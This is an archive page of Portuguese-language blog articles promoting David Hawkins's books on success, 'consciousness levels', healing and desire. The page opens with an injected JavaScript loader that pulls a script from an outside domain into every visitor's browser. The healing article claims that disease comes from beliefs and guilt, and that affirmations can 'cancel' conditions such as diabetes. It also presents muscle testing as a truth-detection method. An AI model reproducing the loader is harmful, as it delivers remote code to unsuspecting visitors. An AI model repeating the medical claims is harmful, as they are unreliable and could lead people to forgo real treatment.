;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de davidhawkins - David Hawkins Brasil
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3 Elementos Fundamentais para um Negócio de Sucesso

Que tal investigar 3 elementos que todo negócio de sucesso precisa ter?

Este artigo faz parte de uma série com base no livro O Sucesso É Para Você, de Dr. David R. Hawkins, M.D., Ph.D.

No artigo anterior desta série, nós examinamos as barreiras para o sucesso e vimos o que impede um empreendimento de se desenvolver e prosperar.

Hoje, vamos mais uma vez utilizar os restaurantes como exemplos.

Como já foi mencionado no artigo anterior, restaurantes são negócios com os quais todos nós estamos familiarizados, e isso facilita a análise do sucesso.

Analisaremos 3 questões igualmente importantes:

  1. primeira impressão;
  2. personalidade;
  3. conveniência.

Vamos lá?

Negócio de Sucesso: a primeira impressão 

Buscando compreender o que forma um negócio de sucesso, Dr. Hawkins nos lembra que a primeira impressão causada influencia muito a nossa expectativa e contribui para moldar toda a experiência que teremos com aquela marca.

No caso de um restaurante, se já na entrada presenciamos algo nojento, isso certamente nos deixará com menos fome e terá um efeito negativo na nossa opinião sobre o estabelecimento.

Já que a expectativa do consumidor é um ponto crítico, Hawkins sugere uma reflexão: “as pessoas estão ansiando ou temendo o próximo encontro conosco?”.

Evidentemente, esse cenário não diz respeito só aos primeiros minutos de contato, mas sim à primeira experiência como um todo. 

Se passamos na frente de um restaurante e o cardápio — ou até mesmo o cheiro — chamou nossa atenção positivamente, isso criou uma expectativa positiva. Nesse momento, é fundamental que o próximo passo reforce a impressão positiva ao invés de frustrar essa nossa expectativa.

Ao nos depararmos com uma recepcionista antipática, por exemplo, a percepção inicial que era positiva pode se transformar em algo negativo.

Lembrete importante: diminua o tempo de espera do atendimento

Outro ponto fundamental aqui é a espera, que deve sempre ser curta.

Quanto mais tempo as pessoas esperam pelo atendimento, mais a primeira impressão vai se transformando em algo negativo. A partir daí, o cliente tende a notar muito mais os pontos desfavoráveis da experiência.

Negócio de Sucesso: a personalidade

O segundo elemento fundamental de um negócio de sucesso é a personalidade.

As pessoas gostam de ser tratadas como seres humanos e de perceber que nos importamos com elas. A partir do momento em que esquecemos esse lado humano, os clientes começam a ficar insatisfeitos.

Algumas empresas preocupam-se demais com os processos, focam em tornar as “engrenagens” do negócio perfeitas, mas esquecem-se de inserir o fator “cuidado”.

Quando os clientes são verdadeiramente cuidados e tratados com o coração, eles não se importarão se você cometer algum erro ou se houver alguma imperfeição no seu serviço. Afinal, as imperfeições nos tornam humanos também, não é mesmo?

É importante evitar que o negócio — e principalmente os colaboradores responsáveis pelo atendimento — se tornem mecânicos, insensíveis ou superficiais.

Ao invés disso, as relações devem ser baseadas na “presença”.

A qualidade da presença, ou seja, de se importar e estar realmente atento, é o que faz os clientes voltarem. No fundo, todas as pessoas querem ser tratadas como realeza e nós podemos fazer isso por elas usando o poder do coração!

Negócio de Sucesso: a conveniência

O terceiro elemento que trazemos hoje sobre um negócio de sucesso é a conveniência.

Nada mais triste em se tratando de negócios do que um restaurante que falha nos pontos mais óbvios, como: ter bons banheiros disponíveis, ter nosso refrigerante favorito à venda, disponibilizar molhos básicos, entre outros pontos.

Conveniência significa facilitar a vida das pessoas — mesmo que para isso os donos do negócio tenham que sair um pouco da zona de conforto 

O mais interessante é que, quando se trata de conveniência, os próprios clientes vão dizer o que eles precisam.

Preste atenção nas coisas que você mais ouve dos seus clientes, dos seus colegas ou do seu chefe. Você tem em mãos os pontos mais importantes a serem seguidos e implementados!

Um exemplo incrível do próprio Dr. David Hawkins é que quando ele tinha uma clinica de saúde mental em Nova Iorque, ele chegou a ter 10 linhas telefônicas para atender chamadas!

No momento em que alguém dizia que estava com dificuldade em falar com ele (na época era comum as linhas darem sinal de ocupado), Hawkins imediatamente colocava outra linha telefônica.

Lembrete importante: inove, mas não deixe de fazer o básico

Muitos empreendimentos erram em oferecer apenas opções muito inovadoras, diferentes ou sofisticadas. Por exemplo, oferecem um tempero de salada exótico, mas esquecem do bom e velho vinagre.

Portanto, vale a pena ficar atento à conveniência e à facilidade de atender necessidades corriqueiras. Fazer o básico muito bem feito também fideliza clientes.

Um Negócio de Sucesso é para você

Ao longo de 242 páginas em um tom bastante divertido, Dr. David Hawkins nos mostra que todos nós podemos ter um negócio de sucesso se observarmos alguns princípios universais e algumas boas práticas. Por isso, fica nosso convite para que você aprofunde o assunto através do livro O Sucesso É Para Você. Ótima leitura!

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Os Princípios do Sucesso

Em um de nossos últimos artigos sobre o Sucesso falamos sobre aquele “algo” que existe nas pessoas de sucesso. Mas, quais são os princípios do sucesso? Como reconhecê-los?

Que tal agora olharmos para alguns exemplos disso? 

Princípios do Sucesso

Quem nunca esteve num restaurante? 

Esse é o tipo de negócio que acompanhamos com frequência e observamos que existem restaurantes de sucesso fenomenal mas, a taxa de fracasso para esse segmento está na casa de 50%.

Dos 50% que sobrevivem à essa estatística, uma boa parte sobrevive apenas, sem felicidade ou facilidade para tocar o negócio. E, apenas uma pequena parcela deles terá sucesso e despontarão.

Nesses casos, seja o dono do estabelecimento ou os chefs de cozinha atuam de forma criativa, buscando sempre aprender, têm prazer em servir e fazer do local onde trabalham um sucesso, fazendo pratos que surpreendam os clientes e gerando fidelidade.

O que a banda toca? 

Outro exemplo bem interessante que Dr.Hawkins cita em seu livro “O Sucesso é Para Você” é o das bandas musicais que se apresentam em bailes e festas. Algumas conseguem fazer o público participar e estar presente o tempo todo do show, outras no entanto, parecem tocar para si próprias, não se importando muito com o que o público gostaria de ouvir, dançar e cantar. 

O que acontece nesse caso é que a motivação para fazer aquilo que estão fazendo é a sua própria e não a amorosidade no servir, não estão focados em trazer alegria para o público. 

Alguns músicos, contudo, mesmo tendo suas próprias preferências, sabem “ouvir o público”, sentir qual é o apelo deles, qual é o ritmo que o público quer ouvir e acompanham isso. 

Princípios do Sucesso: Saiba observar para obter a resposta

Voltando aos restaurantes, quantas vezes você não voltou a locais apenas para apreciar um prato que te impressionou? E, já imaginou se você chega com essa expectativa e o prato não existe mais? Ou, se o restaurante deixou de servir o café que você tanto apreciava?

Uma das bases do sucesso é saber ouvir o cliente, ser observador, responsivo. Quando a intenção de um negócio está focada apenas no que o proprietário deseja para si e não observa o movimento do seu público, temos aí uma grande possibilidade de fracasso, seja qual for o seu negócio. 

O cliente foi desconsiderado em sua perspectiva e se sente desvalorizado e insatisfeito. Mesmo que esse restaurante seja o único em um determinado tipo de comida, receberá clientes por essa razão e não porque o cliente se sente ouvido e considerado. 

E, o proprietário que não é atento e responsivo às solicitações de seu cliente, mesmo que esteja ganhando financeiramente, deixa escapar a felicidade de estar servindo, e se mantém apenas na sobrevivência. 

Felicidade ou Satisfação? 

É muito importante diferenciar a felicidade da satisfação

 “Uma pessoa pode obter satisfação de enfiar e girar uma adaga no coração do outro – isso é satisfação. É improvável que isso resultará em uma vida feliz. Felicidade na vida é como mantemos o sucesso.” (Dr. Hawkins)

Uma ótima analogia é a que se refere a tirar 10 em uma prova colando, um exemplo de satisfação e sobrevivência. Podemos atingir um objetivo, passar em uma matéria, mas e sua autoestima como ficou? 

O sucesso é feito de:

  • autoestima saudável
  • autoconfiança
  • entusiasmo
  • alegria de saber que se tem a própria maestria.

A alegria seria genuína se o estudante tivesse estudado e tirado 10, não pelo esforço, mas por ter agregado algo à sua maestria.

Essa é manifestação do poder pessoal, do sucesso. Não é fruto de uma cópia, mas da minha própria capacidade de criar e ver os resultados.

Princípios do Sucesso: O dinheiro por si só não é prova de sucesso

O lucro que se obtenha com um determinado negócio não é indicativo de felicidade e sucesso.

Todos nós temos exemplos de pessoas que, apesar de ostentarem ótimas condições financeiras, vivenciam o medo, o orgulho, a paranoia, a arrogância entre outros sentimentos que os colocam distantes da felicidade e do sucesso genuíno. 

Quantas histórias de ganhadores de loteria, herdeiros ou celebridades que não conhecemos que perderam tudo? Isso ocorre porque apoiaram-se apenas no ter e não no ser. Perdem negócios, família, cometem abusos, vícios e até mesmo suicídio. 

O sucesso genuíno ressalta a pessoa e não suas posses

O que nos impressiona é aquilo que a pessoa de sucesso verdadeiro é e não o que ela tem. Somos atraídos pelo “algo a mais” que ela possui, é isso que faz nos conectarmos com ela. É aquilo que está presente em suas ações que nos encanta.

“Não é o dinheiro que viraliza e passa de mão, é saber como manifestar dinheiro que viraliza nos outros…ter dinheiro é uma manifestação de uma atitude interna. Pobreza está na sua cabeça, não na sua carteira.” (Dr.Hawkins) 

Se você apoia o sucesso sobre intenções internas verdadeiras, a vida floresce e tudo contribui para o sucesso. Pelo contrário, se as intenções estão baseadas apenas na conquista de posição, dinheiro ou status social, o sucesso não se mantém e leva todas suas ações à destruição da vida. 

Sucesso não está fora, está dentro!

Esse é um aprendizado que está presente durante toda a leitura do livro “O Sucesso é Para Você” do Dr.David Hawkins. Uma leitura que nos esclarece completamente o quanto temos uma noção equivocada de como o sucesso pode acontecer para cada um de nós. 

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Cura e Recuperação: Aprenda o Poder da Autocura!

“Cura e Recuperação”, e mais um livro do Dr. David R. Hawkins traduzido para o português com exclusividade pela Pandora Editora.

“Healing and Recovery”, ou seja, “Cura e Recuperação” traz um conteúdo fantástico porque fala sobre as verdadeiras causas das doenças físicas e acreditem ou não, a cura das doenças pode estar bem mais próxima do que imaginamos.  

Geralmente acreditamos que a cura das doenças está localizada do lado de fora, em tratamentos conduzidos pela medicina e profissionais especializados, mas e se esse paradigma fosse contrariado? E se a cura estiver dentro de cada ser humano?

Por isso, nesse livro o Dr. Hawkins fala da saúde de forma integral, abordando desde a saúde física, emocional, mental e espiritual e, mais do que isso, que as doenças estão interligadas à forma como vemos o mundo e aos níveis de consciência que temos.

Vamos entender um pouco mais sobre isso?

E o que as doenças, a cura e recuperação têm a ver com os níveis de consciência?

Para aqueles que já acompanham o trabalho do Dr. Hawkins sabem que ele estudou profundamente os níveis de consciência humana e que desenvolveu uma escala onde descreve quais são os estados de cada nível consciencial. A Escala Hawkins está definida de forma didática de 1 até 1000, apenas para categorizar de forma simplificada os estudos.

Segundo o Dr. Hawkins, a capacidade de cura de cada indivíduo está associada ao nível de consciência em que ele se encontra. Por exemplo:

  • Pessoas que transitam por níveis negativos de consciência, que calibram abaixo de 200, têm a tendência de manifestar doenças no corpo físico.
  • Num nível de consciência abaixo de 200 há a tendência de que se apresente sempre um desequilíbrio no mesmo meridiano de acupuntura. Exemplificando: sempre no coração e esse padrão repetido por longo tempo poderá refletir em doenças cardíacas.
  • Pessoas que transitam por níveis positivos de consciência, que calibram acima de 200 e vão até 499 já trazem uma capacidade de cura
  • A partir de 500, onde estão os estados de amor, a capacidade de cura é grande, mesmo para aquelas doenças mais complexas e de gravidade
  • No nível de 540 (amor incondicional), a cura e compaixão, a cura acontece praticamente de forma automática.

Cura e Recuperação: quais são as crenças que você mantém?

Nossa mente é extremamente poderosa e aquilo que mantemos nela tende a se realizar. A questão é que cada mente retém crenças pessoais, adquiridas ao longo da vida e, principalmente, na primeira infância que vai dos 0 aos 7 anos.

Crenças nascem da inocência infantil e se mantêm intactas e, quando compreendemos que a totalidade das pessoas têm atitudes baseadas na inocência, buscando fazer o seu melhor, conseguimos acessar os níveis de compaixão onde a cura acontece.

Esse sistema de crenças tem influência direta em tudo que manifestamos em nossa vida, incluindo a saúde e, por conseguinte, a doença.

Se tivermos em nossa mente a crença de que nossa saúde é frágil e que ficaremos doentes, provavelmente desenvolveremos a doença.

Sim, isso é complexo de se acreditar, mas Hawkins explica que o corpo apenas responde àquilo que a mente cria. O corpo físico não cria a doença, é nosso sistema de crença que o faz. O corpo responde às “determinações” da mente, que responde ao espírito.

A mente cria o que o corpo físico vai experimentar. Os pensamentos, criados pela mente, vão influenciar o corpo.

Então, como combater as doenças?

Se nossa mente tem o poder de criá-las, tem também o poder de descriá-las.

  • Ganhar consciência sobre as crenças que carregamos nos permite deixar para trás aquelas que não nos servem e que são prejudiciais à nossa vida e à nossa saúde, gerando um estado de consciência tal que podemos nos liberar de doenças já existentes ou até mesmo evitar o surgimento de outras.
  • Segundo Hawkins, uma doença está sempre ligada a um sistema de crenças. E, aprofundando ainda mais, muitas doenças têm como base a culpa inconsciente. Por isso, encontrar o sistema de crença, a culpa por trás de uma doença é fundamental para promover a cura.

Cura e Recuperação – combatendo as doenças

Se conseguirmos compreender que nossa mente cria as condições perfeitas para nosso corpo físico desenvolver as doenças, podemos também criar condições para que a doença tenha uma remissão ou nem mesmo apareça. Mas como?

  • Aceite aquilo que a doença traz. Por exemplo: na asma o paciente sente falta de ar. A proposta é que não se resista a isso, apenas aceite que isso acontece e observe, deixando que a energia contida nesse sintoma cumpra o ciclo
  • Aliás, no livro “Deixar Ir”, do mesmo autor, ele explica o mecanismo de deixar ir como forma de aceitar e entregar. A ideia é não pensar na doença e aceitar as sensações físicas que ela traz, sem resistência.
  • Não rotular a doença em nossa mente. Não é preciso classificá-la com nome e sobrenome.
  • Compreender e cancelar o sistema de crença que dá suporte à doença
  • Atuando na escolha do campo de energia do Amor onde a cura é possível.

O cancelamento de crenças

Segundo o Dr. Hawkins é possível cancelar as crenças que identificamos em nós através de afirmações positivas como:

“Eu cancelo a crença de que tenho [diabetes]. Não acredito mais nisso e não estou mais sujeito a isso. Isso é o resultado de um sistema de crenças e eu tenho o poder de cancelá-lo. Sou um ser infinito e só estou sujeito àquilo que mantenho em mente.”

Essas afirmações constroem novos caminhos neurais em nosso cérebro e trabalham no fortalecimento de um novo padrão positivo quando praticadas com consistência e verdade.

Concluindo

Ficar doente é uma maneira de nossa consciência chamar nossa atenção para algo que não estamos observando em nós mesmos. Nesse contexto, ao invés de responsabilizarmos a doença por nosso estado, podemos ser gratos pela dica que ela está nos trazendo: o que preciso observar em mim que ainda não observei?

Algo precisa ser curado não apenas em nosso corpo físico, mas também nos corpos: mental, emocional e espiritual. A cura acontece quando temos a disposição para nos render às energias abaixo de 200.

O livro “Cura e Recuperação” trará uma nova visão sobre nossa saúde e sobre a forma como vimos lidando com nossas emoções e o impacto que isso traz para nosso corpo físico.

Dê uma chance de cura a si mesmo!

*Se quiser conhecer mais sobre os níveis de consciência e das frequências de cada um, aprofunde sua leitura neste artigo

“Só estamos sujeitos àquilo que mantemos em mente.” – Dr. David R. Hawkins

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Níveis de Consciência

Escala Hawkins da Consciência: o que é e como utilizá-la

Escala de níveis de consciência? Existe isso?

Sim, existe, e demandou um longo estudo para ser organizado. A Escala Hawkins organiza toda essa pesquisa de forma que todos possam compreender como se dá a evolução humana no que diz respeito às emoções e aos impactos que elas têm em nossa vida.

Com toda certeza, dentro da comunidade científica, Dr. David R. Hawkins foi uma das pessoas que mais se debruçou a estudar, desvendar, organizar e identificar as emoções humanas e como elas se apresentavam numa escala evolutiva.

Como PHD, psiquiatra e estudioso, observava que inúmeras escolas de psicoterapia apoiavam suas condutas na tentativa de obter respostas através da simbologia e referências mitológicas.

Dr.Hawkins buscou um outro caminho:  a simplicidade inerente à verdade. Essa foi sua inspiração para a elaboração de um Mapa das Emoções humanas.

Será que conhecemos as emoções que estão dentro de nós? Será que sabemos verdadeiramente qual é nosso nível de consciência e como isso impacta em nossa vida e define nossos comportamentos?

Compreendendo a Escala Hawkins da Consciência

A Escala Hawkins avalia e ordena emoções que vão das mais negativas às mais positivas e caracteriza cada estado de consciência, detalhando os comportamentos que fazem parte dessas consciências.

É incrível como essa Escala é capaz de mapear nosso comportamento e despertar em nós o desejo do autoconhecimento, de superar cada um desses níveis, nos propondo quase que um desafio de autossuperação.

Compreender os detalhes dessa Escala pode nos trazer saltos de consciência porque nos coloca em contato com a verdadeira essência, tornando transparente as emoções que nos movem e como elas têm impactado em nosso evoluir.

De forma rápida e resumida, o Mapa da Consciência nomeia as seguintes emoções:

Características das Pessoas que vivem em Níveis de Consciência Negativos

Independentemente do quão feliz pareça estar uma pessoa, as emoções negativas estão presentes.

  • Culpa
  • Medo
  • Raiva
  • Ansiedade
  • Irritação
  • Indignação

Todas essas emoções e sentimentos determinam níveis de consciência negativos e trazem sofrimento.

É comum observarmos indivíduos negativos cujos pensamentos são igualmente negativos. Isso acontece porque não se observam, não conseguem se compreender e não conhecem a si próprios. Buscam a felicidade em algum lugar fora delas. E, debruçar essa expectativa de que a felicidade vem do exterior traz muito sofrimento e frustrações constantes.

Essas pessoas se caracterizam por alguns comportamentos como:

  • Não praticam a autorresponsabilidade, não assumem para si o encargo de suas próprias vidas
  • Tendem a culpar tudo e todos por qualquer coisa que saia “errada” em sua vida.
  • Consideram que tudo o que sai fora daquilo que desejavam é uma grande desgraça
  • Nem de longe entendem que a vida é feita de experiências e que estamos aqui para experimentar, aprender e evoluir.
  • Buscam conquistar bens materiais, ter status, ser reconhecidos, captar atenção, tudo fora de si com a intenção de suprir suas carências e ausência de felicidade, tornando-se egoístas.

Características das Pessoas que vivem em Níveis de Consciência Positivos

De outra forma, observamos pessoas que se conectam muito mais com emoções positivas como:

  • Coragem
  • Neutralidade
  • Disposição
  • Aceitação
  • Disposição
  • Razão

São pessoas que entendem a amplitude do conceito de abundância, que é muito mais do que apenas possuir coisas materiais e conhecem o “sucesso”. Geralmente tornamos essas pessoas referências para nosso próprio desenvolvimento.

O entusiasmo, o perdão, o autodomínio estão presentes nas pessoas que focam mais nas emoções positivas. Denotam bem-estar e almejam isso para o próximo também.

Praticam e desenvolvem o autoconhecimento e consideram os erros que cometem uma oportunidade de aprendizado e seguem com tenacidade e constância.

E como é possível reconhecer onde estamos na Escala Hawkins da Consciência?

É apenas através da compreensão sobre em que nível de consciência estamos, como lidamos com nossas emoções e quais são nossas reações que podemos subir na Escala Hawkins da Consciência. Desenvolvendo a auto-observação, olhando verdadeiramente, sem julgamentos para si e para nossos comportamentos.

Quando conseguimos nos apartar das emoções, tanto das negativas quanto das positivas, na maior parte do tempo, olhando para a realidade que existe atrás de todas as situações que nos ocorrem, não julgamos aquilo que acontece como bom ou ruim, apenas observamos e olhamos o aprendizado oculto que existe ali.

Para que isso aconteça não é necessário que nos tornemos alheios e frios diante da realidade, mas é importante que observemos as emoções que nos cabem ou não, aquelas que fazem sentido e aquelas que não queremos mais em nossas vidas. Gênios e pessoas de ideais nobres estão nesse nível de consciência da Razão.

Além desse nível, há ainda pessoas que vivenciam o Amor através de uma postura altruísta e se mobilizam mais pelas necessidades dos outros do que suas próprias necessidades. Fazem isso com alegria, amorosidade por vivenciarem verdadeiramente o Amor. São aqueles que vislumbram uma sociedade mais harmônica e colaborativa.

Aqui no site você pode conhecer mais sobre as emoções da escala de níveis de consciência. Sugerimos que você comece pela emoção Vergonha, que calibra em 20 Hz, a emoção inicial do mapa.

Conheça as emoções presentes em sua jornada

Por isso, buscar o autoconhecimento, a compreensão de como nossas consciências funcionam é a única forma de nos tornarmos pessoas mais plenas e felizes.

Que tal dar início a esse processo através de leituras qualificadas como os livros do Dr. David Hawkins ou com a ajuda de outras pessoas e profissionais que já deram início a esse processo?

Aí você pergunta, por quais livros devo começar? Sem problemas, aqui está uma sugestão de leitura para que você entenda com profundidade a Escala Hawkins de Consciência e como ela pode se tornar uma prática em sua evolução.

  • Poder vs Força: todo o processo de desenvolvimento e os caminhos que Hawkins traçou até chegar à Escala
  • Deixar Ir: cada uma das emoções explanadas detalhadamente, com muitos exemplos que nos ajudam a localizar nossas próprias emoções
  • O Sucesso é para Você: uma visão muito clara e diversa de tudo o que acreditamos ser necessário para se obter sucesso em todas as áreas da vida
  • Cura e Recuperação: a mais nova obra traduzida com exclusividade aqui no Brasil pela Pandora Editora. Nesse livro Dr. Hawkins traz a relação das doenças que desenvolvemos com nossas emoções e crenças e como podemos atuar ativamente no surgimento ou controle delas.

Boa leitura! Boa jornada!

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O Poder de “Poder vs. Força”

Do que o livro “Poder vc Força” trata? Por que ele é tão poderoso e só aumenta a popularidade aqui no Brasil? Esse artigo foi inspirado na obra do Dr. David Hawkins “Poder vc Força”.

O Dilema Humano

Existe uma questão inerente à raça humana que se relaciona à necessidade de buscar respostas e, para isso, uma infinidade de matérias, estudos e análises são desenvolvidas para se obter respostas definitivas, independente de qual seja a questão.

Dados não faltam e cada vez vamos acumulando mais e mais informações. Mas será que tudo isso é suficiente para compreendermos efetivamente as respostas?

O dilema do homem – hoje e sempre – tem sido que ele identifica erroneamente seus próprios artefatos intelectuais como realidade. Mas essas suposições artificiais são meramente produto de um ponto de percepção arbitrário…de um ponto de vista do questionador. Pequenos erros na formulação das perguntas resultam em erros grosseiros nas respostas que seguem.” (Dr. David Hawkins – no livro “Poder vs. Força”)

Segundo Dr.Hawkins, o entendimento de uma situação não deveria ser retirado apenas dos dados, mas também do contexto em que acontecem.

O significado das coisas vem não apenas quando fazemos a pergunta certa, mas quando usamos as ferramentas apropriadas para mensurar as respostas dentro de um contexto que dê significado a elas.

Os Sistemas e Tentativas para compreender o comportamento Humano

Segundo Dr. Hawkins, a filosofia, os sistemas políticos, os sistemas de moralidade, a psicanálise, entre outras ferramentas, são tentativas do homem entender a si mesmo que relativizam a verdade.

Dr. Hawkins pontua que as falhas de todos os sistemas de pensamento derivam da:

  • Falha na diferenciação entre o objetivo e subjetivo
  • Desrespeito à limitação do contexto inerente ao projeto básico e à terminologia
  • Ignorância sobre a própria natureza da consciência
  • Incompreensão a respeito da natureza da causalidade

À medida que novas perspectivas e novas ferramentas são utilizadas para explorar as áreas humanas pode-se observar que essas falhas tornam-se óbvias.

A teoria da tentativa e erro é o que tem feito a humanidade alcançar suas reações quase que cegamente. A busca por resposta resulta em labirintos. A verdadeira resposta às questões humanas vem da simplicidade.

“O universo não desperdiça um único quark, tudo serve a um propósito e se encaixa num equilíbrio – não há eventos estranhos.” (Dr. David Hawkins – no livro “Poder x Força”)

Duas faculdades operacionais, inerentes à raça humana e não confiáveis são responsáveis pelas nossas decisões: razão e sentimento e a história individual e coletiva atestam isso.

A organização lógica dos dados serve principalmente para melhorar um sistema de reconhecimento de padrões que se torna a chamada “verdade”.

Nada é sempre verdade, exceto sob certas circunstâncias e somente a partir de um ponto de vista particular caracteristicamente não declarado.

O principal obstáculo ao desenvolvimento do homem é, portanto, a falta de conhecimento sobre a natureza da própria consciência.

Nossas decisões vêm da reflexão?

Nossa mente age muito mais rápido do que reconhecemos, portanto, a noção de que nossas ações são tomadas por meio de decisões refletidas é uma ilusão. Esse processo é da própria consciência. As decisões advêm de funções da consciência. A mente faz escolhas baseadas em uma infinidade de partes de dados, correlações e projeções que vão além de nossa compreensão consciente. 

A nova ciência da dinâmica não linear chama essa função global dominada pelos padrões de energia de Atratores.

É a consciência que escolhe a melhor opção a todo momento porque essa é sua única função.

O Poder de Poder vs. Força

“Poder vs. Força” é resultado de duas décadas de estudos sobre o uso da calibragem que surge de uma conexão da fisiologia da consciência, da função do sistema nervoso e da física do universo. Somos parte desse universo onde tudo é interconectado. Tudo o que nos parece “segredo” está disponível para nós se soubermos onde e como procurar.

O livro “Poder vs. Força” transforma o simples em óbvio. O simples tem profundidade e precisamos estar abertos a compreendê-lo e assim, expandimos nossa capacidade de compreender a natureza do universo e da vida em si.

Buscar respostas que se conectem com a verdadeira natureza da consciência é o papel da técnica apresentada por Dr. David Hawkins após anos de estudos. A Cinesiologia se baseia em testar uma resposta muscular entre o tudo-ou-nada de um estímulo. Estímulos positivos provoca uma resposta muscular forte e um estímulo negativo provoca uma resposta muscular fraca.

Por sua simplicidade, a técnica pode ser usada por pessoas íntegras, em qualquer lugar, a qualquer momento e será capaz de iniciar uma nova era da experiência humana baseada em uma verdade observável e verificável.

O livro traz todo o embasamento da teoria do Dr. Hawkins e certamente surpreenderá a todos. Compreender a simplicidade de sua teoria nos ajuda a olhar para a vida de maneira mais consciente. 

Esse artigo foi baseado no livro “Poder vs Força” do Dr. David Hawkins e poderá ser adquirido na Loja Pandora através do link: https://loja.pandoratreinamentos.com.br/poder-vs-forca

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Nossa vida é um presente de Deus – por Dr. David Hawkins

Nossa vida é um presente de Deus. Trecho de Seminário em Sedona, Arizona em 22/07/2007, onde o Dr. David Hawkins conversa com sua esposa Susan Hawkins.

Nossa vida é um presente de Deus para nós. Somos únicos.

Nem mesmo um fio de cabelo passa despercebido pelos olhos de Deus.

Ter esta vida, significa Misericórdia por tudo que fizemos em nosso passado (mesmo que não lembremos) e a chance de nos redimirmos perante nós mesmos, os outros e o Amor de Deus.

Somos únicos em nosso DNA, em nossas impressões digitais e, até mesmo gêmeos idênticos na aparência, são muitas vezes, completamente diferentes na essência e também nos mínimos detalhes da biologia.

Sermos únicos é o maior presente que Deus deu para nós e o maior milagre que podemos enxergar todos os dias de nossa vida.

Agradecer e cuidar deste presente, dando o nosso melhor e nos autoconhecendo cada vez mais, dia após dia, é a melhor forma de retribuir este presente e de colher frutos doces no futuro.

Nossa vida é um presente de Deus

Ative a legenda em português para uma melhor experiência.

Dr. David R. Hawkins: Bem. Então, na medida em que somos responsáveis o tempo todo pelas consequências das nossas ações, não por medo, não por superstição, não por lavagem cerebral, mas por escolha livre, nós devemos a dignidade e grandeza sobre a nossa verdadeira realidade.

Nós damos o respeito que é devido. A sua vida é um presente de Deus Todo Poderoso, e isso dificilmente é algo pequeno.

Se Deus te deu uma grande cadeia de coisas, você não vai deixar onde o vento pode levar, você não se livraria disso.

“Eu te dei isso, coloque ali com cuidado.”

Deus Todo Poderoso me deu isso, se eu fosse você, eu cuidaria com muito cuidado.

Então você garante o mesmo respeito com a sua própria vida.

E, intrinsecamente, eu vejo o esforço de outros e eu vejo a fraqueza deles, a fraqueza para fazer dinheiro, o prazer em falar mal de outras pessoas, é isso o que eles conseguem eu acho que é algum tipo de alegria tirada da fraqueza para o próprio bem.

Fraqueza para o próprio bem.

Sobre o Palestrante

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

– Psiquiatra clínico por mais de 50 anos;
– Escreveu livro vanguardista sobre Psiquiatria Ortomolecular com o químico ganhador do Prêmio Nobel Linus Pauling;
– Entrou para o hall da fama da medicina ortomolecular;
– Criador do Mapa de Consciência;
– Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
– Consultor diplomático entre países com conflito político;
– Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
– Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
– Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
– Dezenas de outros prêmio e honras podem ser vistos na lista completa em: www.veritaspub.com/dr-hawkins/

Sobre suas obras

Dr. David R. Hawkins é autor de doze livros, sendo dois deles best sellers mundiais com mais de um milhão de cópias vendidas em mais de 25 idiomas. Estes dois livros, Poder vs Força e Deixar Ir, foram traduzidos para o português pela editora Pandora Treinamentos e estão disponíveis neste link. Nos livros, David R. Hawkins explica sobre o conceituado Mapa da Consciência, assim como podemos nos ancorar e atrair os campos mais positivos de consciência, e sobre a técnica de investigação da Verdade a partir do teste de resistência muscular, um aprimoramento da ciência da cinesiologia aplicada.

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O Desejo é a Fonte do Sofrimento – com base em Dr. David Hawkins

Onde há desejo, há intrínseco o sofrimento. Querer é sofrer e sofrer nos faz querer.

O desejo é uma promessa de que quando você tiver algo que você não tem, você será mais feliz. 

Essa falácia do ego nos condiciona a querer cada vez mais.

Isso nos escraviza em momentos e situações transitórias atreladas ao que está fora de nós.

A verdadeira felicidade é interna e independe dos acontecimentos externos.

Está relacionada diretamente ao nosso nível de consciência e integração com a Realidade.

O que é o desejo?

O desejo é um desdobramento da vontade de posse, acúmulo e gula herdado de nossa parte animal.

Esse nosso animal interno busca encontrar e se manter na zona de conforto, evitar os perigos pressupostos encontrados na saída dela.

Por causa deste sistema de sobrevivência instintivo, o desejo se manifesta e se divide em dois:

  • Avidez: é a vontade de nos aproximarmos daquilo que julgamos prazeroso, de acordo com nossas preferências sensoriais;
  • Aversão: é a vontade de nos afastarmos daquilo que julgamos desprazeroso, também de acordo com nossas preferências sensoriais.

Ambos são um e a mesma coisa. Avidez é o desejo de ter. E aversão é o medo de não ter.

Escassez X Abundância

Quando baseamos nossa vida em querer ter, acabamos nos escravizando a fazer o que for necessário para sermos reconhecidos.

A ilusão segue a ordem de “querer ter” para então “fazer” para “ser” alguém.

Essa é uma ilusão de escassez e poder através da conquista e da manipulação.

A chave está em trocar essa fórmula por um processo de abundância: “ser” para então “fazer” e, consequentemente, “ter”.

Essa é uma verdade que gera abundância e poder através da inspiração e do exemplo.

O desejo traz intrínseca em si a expectativa de conquistar, o que culmina no medo de não conseguir.

Como o medo é o núcleo das emoções, predomina em nossa mente — e aquilo que mantemos em mente tende a se manifestar.

O desejo não leva em consideração as variáveis do contexto e acredita que um desejo deve ser sanado.

É a criança mimada dentro de cada um de nós.

Onde se esconde o desejo?

Ele se esconde através do sentimento de necessidade. É como se ele dissesse: “preciso…

  • “… fazer esta tarefa”,
  • “… de uma roupa nova”,
  • “… melhorar meu inglês”,
  • “… subir de cargo”,
  • “… ganhar mais dinheiro”,
  • … comer de três em três horas”.

Consequentemente, todas essas falsas certezas geram uma pressão interna que resulta em autocrítica, autoculpa e autotirania.

Não é preciso nada. A não ser respirar, se quisermos continuar em nosso corpo físico.

Pense bem: você realmente precisa de algo?

Quando falamos que precisamos de algo, afirmamos que para sermos aquilo que esperamos ou que os outros esperam de nós, precisamos fazer ou ter algo específico.

Essa projeção mental nos distancia do que queremos e nos faz sofrer.

E, mesmo que consigamos, nosso ego vai projetar um novo cenário ideal antes mesmo de degustarmos a conquista.

Essa é uma verdade observável.

Observe seu ego agindo ao comer um prato de comida.

